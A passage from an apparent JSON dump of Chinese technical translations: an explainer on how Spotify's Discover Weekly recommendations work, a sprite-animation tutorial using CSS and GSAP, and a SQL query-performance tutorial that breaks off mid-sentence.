每周推荐功能：基于机器学习的音乐推荐\n\n在每周周一，超过 1 亿位 Spotify 用户会收到一份新鲜的歌曲播放列表。这个自定义列表中包含了 30 首用户从来没听过，但可能会喜欢上的歌曲。这个神奇的功能被称为“每周推荐（Discover Weekly）”。\n\n我是 Spotify 的忠实粉丝，尤其喜欢它的每周推荐功能。因为，它让我感觉到我被**重视**着。它比谁都了解我的音乐品味，而且每周的推荐都**刚好**令我满足。如果没有它，我可能一辈子都找不到一些我非常喜欢的歌曲。\n\n如果你苦于找不到想听的音乐，请让我隆重介绍我最好的虚拟伙伴：\n\n![A Spotify Discover Weekly playlist — specifically, mine.](https://cdn-images-1.medium.com/max/800/0*zl0-pZtZzslGC-R8.)\n\n事实证明，痴迷于每周推荐的用户不仅只有我一个 —— 许多用户都为它痴狂，这足以让 Spotify 重新思考其发展重点，将更多的资源投入播放列表推荐算法中。\n\n每周推荐功能于 2015 亮相，从那时开始，我就非常渴望了解它是如何运作的（我是他们公司的粉丝，所以常常假设自己在 Spotify 工作并研究他们的产品）。在经过三个星期的疯狂搜索之后，我得以瞟到了其帷幕后的一丝真容。\n\n那么 Spotify 是如何做出每周为每个用户选出 30 首歌这个惊人的工作的呢？让我们先看一看其它一些音乐服务商是如何进行音乐推荐的，然后分析为什么 Spotify 做的更好。\n\n* * *\n\n![](https://cdn-images-1.medium.com/max/800/1*lys6vccczPSJiyOTiMEp8g.png)\n\n早在 2000 年，Songza 就开始使用**人工编辑**来进行在线音乐策展（curation，策划并展示）。“人工编辑”意味着需要一些”音乐专家“团队或者其它管理员手动将他们认为很好听的歌放到歌单中去。（后来 Beats Music 也实行了同样的策略）。虽然人工编辑运作的很好，但是它需要手动操作并且过于简单，**无法考虑到每个听众个人音乐品味的差别**。\n\n如 Songza 一样，Pandora 也是音乐策展的元老之一。它采用的方法较为先进，使用**人工标注歌曲属性**的方法。也就是说，有一组人在听歌之后，为每首歌选择一些描述性的词，对各个曲目进行了标注。然后，Pandora 就能利用代码简单地对标注进行筛选，得到比较类似的歌单。\n\n与此同时，麻省理工学院媒体实验室开发出了名为”The Echo Nest“的智能音乐助手，开创了一种更加先进的个性化音乐推荐方式。The Echo Nest 使用**算法分析各个音乐音频与文本的内容**，使其能进行音乐识别、个性化推荐、创建歌单以及进行分析。\n\n此外，至今依然存在的 Last.fm 采用了一种名为**协同过滤**的不同的方法。它可以识别用户可能喜欢的音乐。稍后会详细提到它。\n\n* * *\n\n以上就是**其它**音乐策展服务进行推荐的方法。那么 Spotify 是如何造出它们神奇的引擎，如何做出更加符合用户口味的推荐的呢？\n\n## Spotify 的 3 种推荐模型\n\n实际上 Spotify 并没有使用某个革命性的推荐模型 —— 与此相反，**他们是将一些其它服务中单一使用的最佳策略混合起来，创建了自己独特、强大的发现引擎。**\n\nSpotify 每周推荐的开发者主要采用了如下三种类型的推荐：\n\n1. **协同过滤**模型（就是 Last.fm 最开始使用的模型），通过分析**你的**行为与**他人**的行为进行运作。\n2. **自然语言处理（NLP）**模型，用于分析**文本**。 \n3. **音频** 模型，用于分析**原始音轨**。\n\n![Image credit: Chris Johnson, Spotify](https://cdn-images-1.medium.com/max/800/1*cp07MRMUjndZsvV7QElSXg.png)\n\n下面让我们深入了解上述各个推荐模型吧！\n\n* * *\n\n## 推荐模型 #1：协同过滤\n\n![](https://cdn-images-1.medium.com/max/800/1*Lfl5nMKUwGjhZvC_3vPCKQ.png)\n\n首先简述一些背景：当人们听见”协同推荐“这个词的时候，大多会想起 **Netflix** 这个首批采用协同过滤推荐模型的公司。他们使用用户对影片的评星来确定将什么影片推荐给**其它**喜好相似的用户。\n\n当 Netflix 成功使用这种推荐方法之后，开始迅速发展。现在通常被认为是尝试使用推荐模型的鼻祖。\n\n与 Netflix 不同，Spotify 没有让用户对音乐进行评星。他们采用的数据是**隐式反馈** —— 具体来说，包括对用户听歌的**流数据进行统计**，以及收集一些其它的流数据，包括用户是否将歌曲保存到他们自己的歌单、在听完歌之后是否访问了歌手的主页等等。\n\n那么什么是协同过滤，它又是如何运作的呢？这儿用下面这个简短的对话来做个简述：\n\n![Image by Erik Bernhardsson](https://cdn-images-1.medium.com/max/800/1*shZ8Pwo8_OqDw2Udjb12XA.png)\n\n图中发生了什么？图中的两个人都有一些喜欢的歌曲 - 左边的人喜欢歌曲 P、Q、R 及 S；右边的人喜欢歌曲 Q、R、S 及 T。\n\n协同过滤就像用这些数据说：\n\n**”Emmmmm，你们都喜欢 Q、R、S 三首歌，所以你们可能是类似的用户。所以，你应该会喜欢对方爱听而你还没听过的歌。“**\n\n也就是说，会建议右边的人去听歌曲 P 试试，建议左边的人去听听歌曲 T。这很简单吧！\n\n但 Spotify 是如何将这种方法落到实处，用于由**百万级别用户**的喜好歌曲来计算**百万级别用户**的推荐的呢？\n\n**……应用数学矩阵，然后使用 Python 库来实现。**\n\n![](https://cdn-images-1.medium.com/max/800/1*oGub3-TXJSNvKz1GQtbJxQ.png)\n\n在实际情况中，你在看到的这个矩阵是**巨大无比**的，**矩阵中的每一行都代表了 Spotify 的 1.4 亿用户**（如果你也用 Spotify，那你也会是这个矩阵的一行），**每列代表了 Spotify 数据库中的 3000 万首歌**。\n\n接着，Python 库会长时间、缓慢地对矩阵按照以下分离公式进行计算：\n\n![](https://cdn-images-1.medium.com/max/800/1*a1a_pG-shrVnvMZefrC-hg.png)\n\n在它完成计算之后，我们会得到两种向量，在这里用 X 与 Y 表示。**X 是用户向量**，代表了单个用户的口味；**Y 是歌曲向量**，代表了一首歌的属性。\n\n![用户/歌曲矩阵会产生两个向量：用户向量与歌曲向量。](https://cdn-images-1.medium.com/max/800/1*cs6FT4dt3sujiauIKF_HYg.png)\n\n现在，我们有了 1.4 亿条用户向量以及 3000 万条歌曲向量。这些向量的内容实质上就是一堆数字，本身没有任何意义。但是对它们进行对比就能起到巨大的作用。\n\n为了找到哪些用户和我有着最相似的口味，协同过滤会将我的向量和其它每个用户的向量进行对比，最终找到与我最相近的用户。同样的，对 Y 向量进行比较，可以找到与你正在听的歌最相近的歌。\n\n协同过滤的效果相当不错，但 Spotify 没有满足于此，他们知道通过增加一些其它的引擎可以使得效果更好。下面让我们看看 NLP。\n\n* * *\n\n## 推荐模型 #2：自然语言处理（NLP）\n\nSpotify 采用的第二种推荐模型是**自然语言处理（NLP）模型**。顾名思义，这种模型的数据来源就是传统意义上的**文字** —— 这些文字来源于歌曲的元数据、新闻文章、博客，以及互联网中的其它文本。\n\n![](https://cdn-images-1.medium.com/max/800/0*NXVODvFr8yVL4_fv.)\n\nNLP 是一种让计算机理解人类语言的能力，是一个庞大的领域。在这儿可以采用一些情感分析 API 来实现。\n\nNLP 背后的机制已经超出了本文的讨论范围。不过我们可以这么来大致概括：Spotify 爬虫不断地查找与音乐有关的博客以及各种文本，并了解人们对特定艺术家及歌曲的看法 —— 谈到这些歌曲人们通常会用什么形容词和语言，以及会同时提到哪些**其他**的艺术家及歌曲。\n\n虽然我不知道 Spotify 处理数据的细节，但我知道 the Echo Nest 是如何与他们进行协同工作的。他们会将语言处理封装为“文化向量”或者“高频短语”。每个艺术家及歌曲都有着数以千计的高频短语，且每天都在变化。每个短语都有一个权重，用于表示这个短语的重要性（大致来说，就是某人描述这个音乐时会用这个短语的概率）。\n\n![](https://cdn-images-1.medium.com/max/800/1*srOKaVeDN8i5uqEQepjPPw.png)\n\nthe Echo Nest 使用的“文化向量”与“高频短语”，Brian Whitman 提供表格\n\n接下来与协同过滤一样，NLP 模型会使用这些短语和权重为每首歌构建一个表示向量，这样就能判断两首歌是否相似了。酷不酷炫？\n\n* * *\n\n## 推荐模型 #3：原始音频模型\n\n![](https://cdn-images-1.medium.com/max/800/1*F0YJ1c2tBbCIjP13llMqTg.png)\n\n在开始本章之前，你可能会问：\n\n> 我们已经在前两个模型中应用了足够多的数据，为什么还需要分析音频本身呢？\n\n首先，引入这第三个模型能使这个惊人的推荐服务的准确率得到进一步的提升。但实际上，使用这个模型还有第二种目的：与前两个模型不同，**原始音频模型可以用于处理*新*歌**。\n\n举个例子，你的歌手朋友将他的新歌传上了 Spotify，然而他仅有 50 名听众，如果要使用协同过滤显然人数太少了。并且他还没有火起来，在互联网上任何角落都没有被提到过，因此 NLP 模型也没法为他发挥作用。不过幸运的是原始音频模型不会在乎这是新歌还是老歌，有了它的帮助，你朋友的歌就有可能和那些流行的歌一起被加入每周推荐歌单了！\n\n接下来解释“如何”对如此抽象的**原始音频**进行分析。\n\n…使用 **卷积神经网络（CNN）**!\n\n卷积神经网络正是人脸识别背后使用的技术。在 Spotify 这个场景中，工程师们使用音频数据来代替像素。下面是神经网络一中结构的实例：\n\n![Image credit: Sander Dieleman](https://cdn-images-1.medium.com/max/800/0*KS_nvbVyvOdQzjyI.)\n\n这个特制的神经网络有 4 层**卷积层**，它们在图的左边，看起来像很厚的木板；它还有 3 层**全连接层**，它们在图的右边，看起来像很窄的木板。输入值是音频帧的频率的表示，在图中以光谱图的形式表示。\n\n音频帧通过这些卷积层后，在最后一个卷积层边你可以看到一个“全局时间池化”层。这个池化层沿整个时间轴进行池化，高效地根据统计学找出在歌曲的时间序列中找到的特征。\n\n在此之后，神经网络会输出它对一首歌的理解，其中包括各种类似**时间戳、调性、风格、节奏、音量**等典型特征。下图为 Daft Punk 的 “Around the World” 一曲中截取 30 秒片段的数据。\n\n![](https://cdn-images-1.medium.com/max/800/1*_EU2Q9hPaxtKyzt_KS85FA.png)\n\n图片版权：[Tristan Jehan & David DesRoches (The Echo Nest)](http://docs.echonest.com.s3-website-us-east-1.amazonaws.com/_static/AnalyzeDocumentation.pdf)\n\n最终，这些由一首歌理解到的各种关键的信息可以让 Spotify 理解不同的歌中的一些本质的相似之处，由此基于用户的听歌历史推断出此用户可能会喜欢这首新歌。\n\n* * *\n\n以上概况了推荐模型中的三个基本组成部分。正是由这些推荐模型组成的推荐 pipeline，最终构成了强大的每周推荐歌单功能！\n\n![](https://cdn-images-1.medium.com/max/800/1*kJTtf1i3W2VrWG782_gCFw.png)\n\n当然，这些推荐模型还与 Spotify 更大的生态系统息息相关，这个生态系统中包含了**海量**的数据，使用大量的 Hadoop 集群对推荐系统践行规模化运作，使得这些引擎能够在大尺度、无穷尽的互联网中顺利地分析音乐相关文章以及无比庞大的音频文件。\n\n我希望本文的信息能满足你的好奇心（就像我的好奇心被满足了一样）。现在我正在通过我个性化的每周推荐找到我喜欢的音乐，了解以及欣赏它背后的各种机器学习知识。🎶\n\n---\n\n**资源：\n- [From Idea to Execution: Spotify’s Discover Weekly](https://www.slideshare.net/MrChrisJohnson/from-idea-to-execution-spotifys-discover-weekly/31-1_0_0_0_1) (Chris Johnson, ex-Spotify)\n- [Collaborative Filtering at Spotify](https://www.slideshare.net/erikbern/collaborative-filtering-at-spotify-16182818/10-Supervised_collaborative_filtering_is_pretty) (Erik Bernhardsson, ex-Spotify)\n- [Recommending music on Spotify with deep learning](http://benanne.github.io/2014/08/05/spotify-cnns.html) (Sander Dieleman)\n- [ How music recommendation works — and doesn’t work](https://notes.variogr.am/2012/12/11/how-music-recommendation-works-and-doesnt-work/) (Brian Whitman, co-founder of The Echo Nest)\n- [Ever Wonder How Spotify Discover Weekly Works? Data Science](http://blog.galvanize.com/spotify-discover-weekly-data-science/) (Galvanize)\n- [The magic that makes Spotify’s Discover Weekly playlists so damn good](https://qz.com/571007/the-magic-that-makes-spotifys-discover-weekly-playlists-so-damn-good/) (Quartz)\n- [The Echo Nest’s Analyzer Documentation](http://docs.echonest.com.s3-website-us-east-1.amazonaws.com/_static/AnalyzeDocumentation.pdf)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/sprite-animation.md",
    "content": "> * 原文链接 : [An Introduction to Sprite Animation](http://eighthdaydesign.com/journal/sprite-animation)\n* 原文作者 : [ eighthday](http://codepen.io/eighthday/pen/dYNJyR)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 :  [阿树](http://aaaaaashu.me/)\n* 校对者: [iThreeKing](https://github.com/iThreeKing)\n* 状态 :  完成\n\n# 关于 Sprite 动画简介\n\n#### 我们总是希望添加运动的元素到我们的网站上，并认为流畅的动画可以让乏味的模板化网站设计得到改善。\n\nSprite 动画并不是一项新技术，在维多利亚时代的人就已经用他们的西洋镜教我们如何实现它，而在数字化时代，8-bit 电子游戏设计师通过 8 bit 像素展示给我们怎么实现它。然而它的核心，其实就是一连串的图片循序的运动。\n\n![Sprite walk cycle animation ](http://eighthdaydesign.com/resources/images/1-10-2015/80-299.Paul_walk_2560_2.gif) ![Sprite walk cycle animation](http://eighthdaydesign.com/resources/work/1-10-2015/2-2-299.Paul_walk_mob_2.gif)\n\n#### Spritesheet 的制作\n\n<table>\n   <tbody><tr>\n      <td>Ai</td>\n      <td>Illustrator</td>\n      <td>SVG</td>\n   </tr>\n   <tr>\n<td>Fl</td>\n      <td>Flash</td>\n      <td>PNG</td>\n   </tr>\n<tr>\n<td>Ps</td>\n      <td>Photoshop</td>\n      <td>PNG</td>\n   </tr>\n<tr>\n<td>Ae</td>\n      <td>After Effects</td>\n      <td>PNG</td>\n   </tr>\n</tbody></table>\n\n不管你如何获得，你需要的就是一张由许多同等大小的帧（sprites）组成的图片。 Sprintesheets 可以被任何输出 PNG 和 SVG 的应用制作。\n\nSVGs 在高分辨率显示器上有着看起来锐利的优势，但在纹理，渐变，和复杂的插图上表现并不如意。我们通常可以在 [SVGCleaner](http://sourceforge.net/projects/svgcleaner/) 和  [SVGOMG](https://jakearchibald.github.io/svgomg/) 这样的应用帮助下，获得超小的文件大小。 PNG 格式是重量级动画应用：Flash & After Effects 原生输出选项，我们也可以通过这样的构建环境去创造流畅的动画。\n\n我们的目标是创造视网膜(retina)级的动画。我们已经成功的从 After Effect 输出一连串的 PSDs，并且在  Illustrator 上通过 Bridge 批处理转换成 SVG。你也可以增大两倍 PNGs 的尺寸和通过 JavaScript 控制比例，但这样的工作流离完美很远。\n\n#### 回到现实\n\n为了实现基本的循环动画，我们给一个 HTML 元素赋予背景图片，并随着时间用 JavaScript  调整背景图片的位置。\n\n你也可以使用 CSS3 steps()  做类似的事情，但为了全面的控制和更好的浏览器兼容，像 Greensocks  [GSAP](http://greensock.com/gsap) 这样的 JavaScript 库更合适解决这样的问题。\n\n<iframe height=\"268\" scrolling=\"no\" src=\"//codepen.io/eighthday/embed/dYNJyR/?height=268&amp;theme-id=0&amp;default-tab=result\" frameborder=\"no\" allowtransparency=\"true\" allowfullscreen=\"true\" style=\"width: 100%;\">See the Pen <a href=\"http://codepen.io/eighthday/pen/dYNJyR/\">Responsive SVG walk cycle with GSAP</a> by eighthday (<a href=\"http://codepen.io/eighthday\">@eighthday</a>) on <a href=\"http://codepen.io\">CodePen</a>.</iframe>\n\nSee the Pen [dYNJyR](http://codepen.io/eighthday/pen/dYNJyR/) by eighthday ([@eighthday](http://codepen.io/eighthday)) on [CodePen](http://codepen.io).\n\n#### HTML & CSS\n\n我们所作的就是给一个 HTML 元素赋予背景，并固定其宽高，这样我们仅能在每一刻看到一个 sprite。\n\n> 如果你使用不少于一个动画，你可以合并 spritesheets 减少 HTTP 请求。\n\n    <div id=\"mySpritesheet\"></div>\n\t\n    #mySpritesheet {\n      background: url('my.svg');\n      width: 100px;\n      height: 100px;\n    }\n\n#### JavaScript\n\nTimelineMax 提供一个很方便的方法定义我们如何更新背景位置，以及让我们很好的控制我们的动画。如果复杂程度渐增，这就变得很有价值了。\n\n> 你可以使用一个 Timeline 来控制多个动画，使得一连串 spritesheets 尽可能的同步。\n\n首先我们定义动画的参数\n\n    var svg = $(\"#mySpritesheet\")\n    var totalFrames = 22;\n    var frameWidth = 162\n    var speed = 0.9;\n\n然后算出我们希望背景滚动的距离\n\n    var finalPosition = '-' + (frameWidth * totalFrames) + 'px 0px';\n\n然后创建TimelineMax 和 SteppedEase 的实例，定义我们的时间轴将耗费多少帧\n\n    var svgTL = new TimelineMax() \n    var svgEase = new SteppedEase(totalFrames)\n\n最后我们在一个 tween，将所有内容关联起来\nFinally we put it all together in a tween\n\n    svgTL.to(svg, speed, {\n        backgroundPosition: finalPosition,\n        ease: svgEase,\n        repeat: -1,\n    })\n\n## 获得控制\n\n在这阶段，你也许在想最后的结果不就是一个会动的 GIF 嘛（这个世界的确需要更多的会动的 GIF），不同的是，我们可以完全的控制我们的动画，我们可以停止、反转、循环、甚至与用户交互时，临时的替换另一个 sprite 去完成复杂的动画。\n"
  },
  {
    "path": "TODO/sql-tutorial-how-to-write-better-queries.md",
    "content": "\n> * 原文地址：[SQL Tutorial: How To Write Better Queries](https://medium.com/towards-data-science/sql-tutorial-how-to-write-better-queries-108ae91d5f4e)\n> * 原文作者：[Karlijn Willems](https://medium.com/@kacawi)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/sql-tutorial-how-to-write-better-queries.md](https://github.com/xitu/gold-miner/blob/master/TODO/sql-tutorial-how-to-write-better-queries.md)\n> * 译者：[临书](https://github.com/tmpbook)\n> * 校对者：[steinliber](https://github.com/steinliber), [xiaoyusilen](https://github.com/xiaoyusilen)\n\n# SQL 指引：如何写出更好的查询\n\n结构化查询语言（SQL）是数据科学行业的一种不可或缺的技能，一般来说，学习这项技能是相当简单的。然而大多数人都忘记 SQL 不仅仅是写查询语句，这只是第一步。确保查询高性能，或者符合上下文语意又完全是另外一回事了。\n\n这就是为什么本篇 SQL 教程要引导你，可以通过以下步骤来评估你的查询：\n\n- 首先，你将以数据科学工作中[学习 SQL 的重要性](https://www.datacamp.com/community/tutorials/sql-tutorial-query#importance)的简要概述为开始。\n- 接着，你将学习更多有关如何[ SQL 查询处理和执行](https://www.datacamp.com/community/tutorials/sql-tutorial-query#execution)，这样你才能够正确地理解编写高性能查询的重要性：更具体地说，你会看到查询被解析，重写，优化和最终被执行；\n- 考虑到这一点，你不仅可以复习初学者编写查询时的一些[反模式查询](https://www.datacamp.com/community/tutorials/sql-tutorial-query#antipattern)，而且还可以学习关于针对那些可能出现的错误的替代和解决方案，你还将学习更多有关[基于集合还是程序方法](https://www.datacamp.com/community/tutorials/sql-tutorial-query#setbased)进行查询的内容。\n- 你还将看到这些出于性能问题考虑的反模式，除了“手动”方法改进 SQL 查询之外，你还可以通过使用一些其他可帮助你查看查询计划的工具，以更加结构化，深入的方式[分析你的查询](https://www.datacamp.com/community/tutorials/sql-tutorial-query#queryplan)；而且，\n- 在执行查询之前，你将简要了解[时间复杂度和大 O 符号](https://www.datacamp.com/community/tutorials/sql-tutorial-query#bigo)来在你执行查询之前了解执行计划的时间复杂度；最后，\n- 你将简要地了解如何进一步[调整你的查询](https://www.datacamp.com/community/tutorials/sql-tutorial-query#tune)。\n\n![](https://cdn-images-1.medium.com/max/1600/0*zaI1WPqkM52wDdC-.jpeg)\n\n你对 SQL 课程感兴趣吗？那就来学习 DataCamp 的[数据科学的 SQL 简介](https://www.datacamp.com/courses/intro-to-sql-for-data-science)课程吧！\n\n### 为什么我应该为数据科学学习 SQL？\n\nSQL 远未消亡：无论你是申请数据分析师，数据工程师，数据科学家还是[任何其他职位](https://www.datacamp.com/community/tutorials/data-science-industry-infographic)，你都可以从数据科学行业的职位描述中发现 SQL 是最需要的技能之一。参加 O'Reilly 数据科学工资调查报告的 70％ 的受访者证实了这一点，他们表示他们会在专业场景中使用 SQL。而且，在本次调查中，SQL（70%）远胜于 R（57％）和 Python（54％）编程语言。\n\n你得知一个情况：当你正在努力找数据科学行业的工作时，SQL 是一项必须具备的技能。\n\n对于一个20世纪70年代初开发的语言来说，还不错，对吧？\n\n但是为什么被使用的如此频繁？为什么 SQL 不会消失，即使它已经存在了很长时间了？\n\n有几个原因：第一个原因是大多数公司将数据存储在关系型数据库管理系统（RDBMS）或关系数据流管理系统（RDSMS）中，你需要 SQL 才能访问这些数据。 SQL 是数据的通用语言：它使你能够与几乎任何数据库进行交互，甚至可以在本地建立自己的数据库！\n\n如果这还不够，请记住有很多 SQL 的实现在供应商之间不兼容，并不一定遵守标准。因而，了解标准 SQL 是你在（数据科学）行业中找到一条路的要求之一。\n\n除此之外，可以肯定地说，SQL 也被更新的技术所接受，例如 Hive，用于查询和管理大型数据集的类 SQL 查询语言界面，或可用于执行 SQL 查询的 Spark SQL。虽然你发现标准可能与你已知的有所不同，但学习曲线将会更加容易。\n\n如果你想做一个比较，认为它和学线性代数一样：通过把所有的精力放在这个主题上，你甚至可以使用它来掌握机器学习！\n\n简而言之，这就是为什么你应该学习这门查询语言：\n\n- 即使对于新手它也是相当容易学习的。学习曲线是相当容易和平滑的，以至于在学习的任何阶段你都能写出查询。\n- 遵循“一旦学习，处处适用”的原则，所以这是一个对你时间的伟大投资！\n- 它是对编程语言的极好补充; 在某些情况下，编写查询甚至比编写代码更为优先，因为它性能更高！\n- …\n\n你还在等什么呢？\n\n### SQL 处理 & 查询执行\n\n为了提高你 SQL 查询的性能，当你按快捷方式运行查询时，你首先需要知道内部发生了什么。\n\n首先，查询被解析成“解析树”；分析查询，看是否符合语法和语义要求。解析器创建输入查询的内部表示。然后将输出传递给重写引擎。\n\n然后，优化器的任务是找到给定查询的最佳执行或查询的计划。执行计划准确地定义了每个操作使用什么算法，以及如何协调操作的执行。\n\n为了找到最佳的执行计划，优化器列举所有可能的执行计划，确定每个计划的性质或成本，获取有关当前数据库状态的信息，然后选择其中最佳的一个作为最终的执行计划。由于查询优化器可能并不完善，因此数据库用户和管理员有时需要手动检查并调整优化器生成的计划以获得更好的性能。\n\n现在你可能想知道什么是一个“好的查询计划”。\n\n如你所见，一个计划的质量在查询中起着重要的作用。更具体地说，评估计划所需的磁盘 I/O，CPU成本和数据库客户端可以观察到的总体响应时间以及总执行时间等因素至关重要。这就涉及到了时间复杂度的概念，在后面你将会看到更多与此相关的内容。\n\n接下来，执行所选择的查询计划，由系统的执行引擎进行评估并返回查询结果。\n\n![](https://cdn-images-1.medium.com/max/1600/0*0nMJKb-YmCGAsrdX.png)\n\n在上节中描述的可能不是很清楚的是，Garbage In, Garbage Out（GIGO）原则在查询处理和执行中会自然地显现：制定查询的人掌握着你 SQL 查询性能的关键，如果优化器得到的是一个不好的查询语句，那么那么它也只能做到这么多...\n\n这意味着*你*在编写查询时可以执行一些操作。如你在介绍中所见，责任是双重的：它不仅仅是写出符合一定标准的查询，而且还涉及收集查询中性能问题可能潜伏在哪里的意识。\n\n一个理想的出发点是在你的查询中考虑可能会潜入问题的“地方”。新手通常会在以下四个子句和关键字中遇到性能问题。\n\n- `WHERE` 子句\n- 任何 `INNER JOIN` 或 `LEFT JOIN` 关键字; 还有，\n- `HAVING` 子句；\n\n当然，这种方法简单而原始，但作为初学者，这些子句和声明是很好的指引，而且确切地说，当你刚开始时，这些地方就是容易出错的地方，更讽刺的是这些错误很难被发现。\n\n然而，你也应该意识到，性能只有在实际场景中才有意义：只是单纯的说这些子句和关键字是不好的没有任何意义。当然，查询中有 `WHERE` 或 `HAVING` 子句不一定意味着这是一个坏的查询...\n\n查看以下内容，了解更多有关的构建查询的反模式和可替代的方法。这些提示和技巧可作为指导。如何重写以及是否真的需要重写取决于数据量，数据库，以及查询所需的次数等等。它完全取决于你查询的目标，并且有一些你要查询的数据库的之前的了解也是至关重要的！\n\n### 1. 仅检索你需要的数据\n\n当编写 SQL 查询时，「数据越多越好」的思维方式是不应该的：获取比你实际需求更多的数据不仅会有看错的风险，而且性能可能会因为查询太多数据而受到影响。\n\n这就是小心处理 `SELECT` 语句，`DISTINCT` 子句和 `LIKE` 运算符是个不错的主意。\n\n当你写好你的查询时，你能检查的第一件事情就是 `SELECT` 语句是否已经是最紧凑了。你的目标应该是从 `SELECT` 中删除不必要的列。这样，你强制自己只提取符合查询目的的数据。\n\n如果具有 `EXISTS` 的相关子查询，则应尝试在该子查询的 `SELECT` 语句中使用常量，而不是选择实际列的值。当你只检查数据是否存在时，这是特别方便的。\n\n**记住**相关子查询是使用外部查询中的值的子查询。注意，尽管 `NULL` 可以在此上下文中当作“常量”使用，但是这会令人非常困惑！\n\n考虑下面这个例子，并理解使用常量的意义在哪：\n\n    SELECT driverslicensenr, name\n    FROM Drivers\n    WHERE EXISTS (SELECT '1' FROM Fines\n                  WHERE fines.driverslicensenr = drivers.driverslicensenr);\n\n**提示**：可以很方便知道，使用相关子查询通常不是一个好主意。你应该考虑使用 `INNER JOIN` 重写来避免它们：\n\n    SELECT driverslicensenr, name\n    FROM drivers\n    INNER JOIN fines ON fines.driverslicensenr = drivers.driverslicensenr;\n\n`SELECT DISTINCT` 语句是用来返回不同的值的。如果可以，你应该你要尽量避免使用 `DISTINCT` 这个子句；就像你在其他例子中看到的一样，如果你把这个子句添加到你的查询中，执行时间肯定会增加。因此，经常考虑是否真的需要 `DISTINCT` 操作来获取想要的结果是一个好主意。。\n\n当你在一个查询中使用 `LIKE` 操作符时，如果匹配模式以 `%` 或者 `_` 开始，那么是不会使用索引的。它将阻止数据库使用索引（如果存在）。当然，在另一个方面看，这种类型的查询会潜在地返回过多的记录，这不一定满足你的查询目标。\n\n再次，你对存储在数据库中的数据的了解程度可以帮助你制订一个模式，这可以帮助你从所有数据中正确过滤出和你的查询真正相关的行。\n\n### 2. 不要输出太多结果\n\n当你不能过滤掉 `SELECT` 语句中的列时，你可以考虑用其他方法限制你的结果。以下是 `LIMIT` 语句和数据类型的转换方法。\n\n你可以通过为查询添加 `LIMIT` 或者 `TOP` 子句来为查询结果设置最大行数。这儿是一些例子：\n\n    SELECT TOP 3 * FROM Drivers;\n\n**注意** 你可以进一步指定 `PERCENT`，比如，你可以通过 `SELECT TOP 50 PERCENT *` 这个查询语句来替换第一行。\n\n    SELECT driverslicensenr, name FROM Drivers LIMIT 2;\n\n此外，你还可以添加 `ROWNUM` 子句，这相当于在查询中使用 `LIMIT`：\n\n    SELECT *\n    FROM Drivers\n    WHERE driverslicensenr = 123456 AND ROWNUM <= 3;\n\n你应该始终使用最有效的，也就是最小的数据类型。当小的数据类型已经足够的时候你提供一个巨大的数据类型总是有风险的。\n\n然而，当你将数据类型转换添加到查询中时，你肯定增加了它的执行时间。\n\n一个替代方案是尽量避免数据类型转换。但是还要注意，数据类型转换不是总能从查询中被删除或者省略的，而且当你在查询语句包含它们的时候一定要注意，你可以在执行查询之前测试添加它们的影响。\n\n### 3. 不要让查询比需求更复杂\n\n数据类型转换将你带到了下一个关键点：你不应该过度设计你的查询。试着保持简单高效。作为一个提示，这可能看起来太简单或者愚蠢了，特别是在查询可能变得复杂的情况下。\n\n然而，你将会在下一部分提到的示例中看到，你可以很轻松的把本应更复杂的查询变得简单。\n\n当你在你的查询里使用 `OR` 操作符时，很可能你没有使用索引。\n\n**记住**索引是一种数据结构，可以提高数据库表中的数据检索速度，但它是有代价的：它需要额外的写入和额外的存储空间来维护索引结构。索引用来快速定位或查找数据而无需在每次访问数据库时查询每一行。索引可以使用数据库表中的一列或多列来创建。\n\n如果你不使用数据库包含的索引，你的查询会花费更长的时间来执行。这就是为什么最好在查询中找到使用 `OR` 运算符的替换方案；\n\n考虑以下查询：\n\n    SELECT driverslicensenr, name\n    FROM Drivers\n    WHERE driverslicensenr = 123456 OR driverslicensenr = 678910 OR driverslicensenr = 345678;\n\n你可以将运算符替换为：\n\n    SELECT driverslicensenr, name\n    FROM Drivers\n    WHERE driverslicensenr IN (123456, 678910, 345678);\n\n- 包含 `UNION` 的两个 `SELECT` 语句。\n\n**提示**：这儿你需要小心，没有必要就不要使用 `UNION` 运算符，因为你会多次查询同一个表多次，这是不必要的。同时，你必须意识到当你在查询语句里使用 `UNION` 时，执行时间会变长。`UNION` 操作符的替代是：将所有条件都放在一个 `SELECT` 结构中，或者使用 `OUTER JOIN` 替代 `UNION` 来重新构建查询。\n\n**提示**：在这里也要记住的一点是，尽管 `OR` 以及下面将要提到的其他运算符可能不使用索引，索引查找不总是更好的。\n\n就像 `OR` 运算符一样，当你的查询包含 `NOT` 操作符时，也很可能不使用索引。这将不可避免的减慢你的查询。如果你不明白这是什么意思，考虑下以下查询：\n\n    SELECT driverslicensenr, name FROM Drivers WHERE NOT (year > 1980);\n\n这个查询跑起来肯定比你预料还要慢，主要是因为它构建的太过于复杂了：在这样的情况下，最好寻找一个替代方案。考虑使用比较运算符替换 `NOT`，比如 `>`，`<>` 或者 `!>`；上面的例子可能会被重写为这样：\n\n    SELECT driverslicensenr, name FROM Drivers WHERE year <= 1980;\n\n看起来已经更加整洁了，不是吗？\n\n`AND` 是另一个不使用索引的操作符，如果以过于复杂和低效的方式使用，它会减慢你的查询，就像下面的例子：\n\n    SELECT driverslicensenr, name\n    FROM Drivers\n    WHERE year >= 1960 AND year <= 1980;\n\n最好使用 `BETWEEN` 运算符重写这个查询：\n\n    SELECT driverslicensenr, name\n    FROM Drivers\n    WHERE year BETWEEN 1960 AND 1980;\n\n`ALL` 和 `ALL` 运算符你也应该小心使用，将他们包含进查询中会导致不使用索引。替代方法使用聚合功能，在这里比较方便的方法是使用像 `MIN` 或者 `MAX` 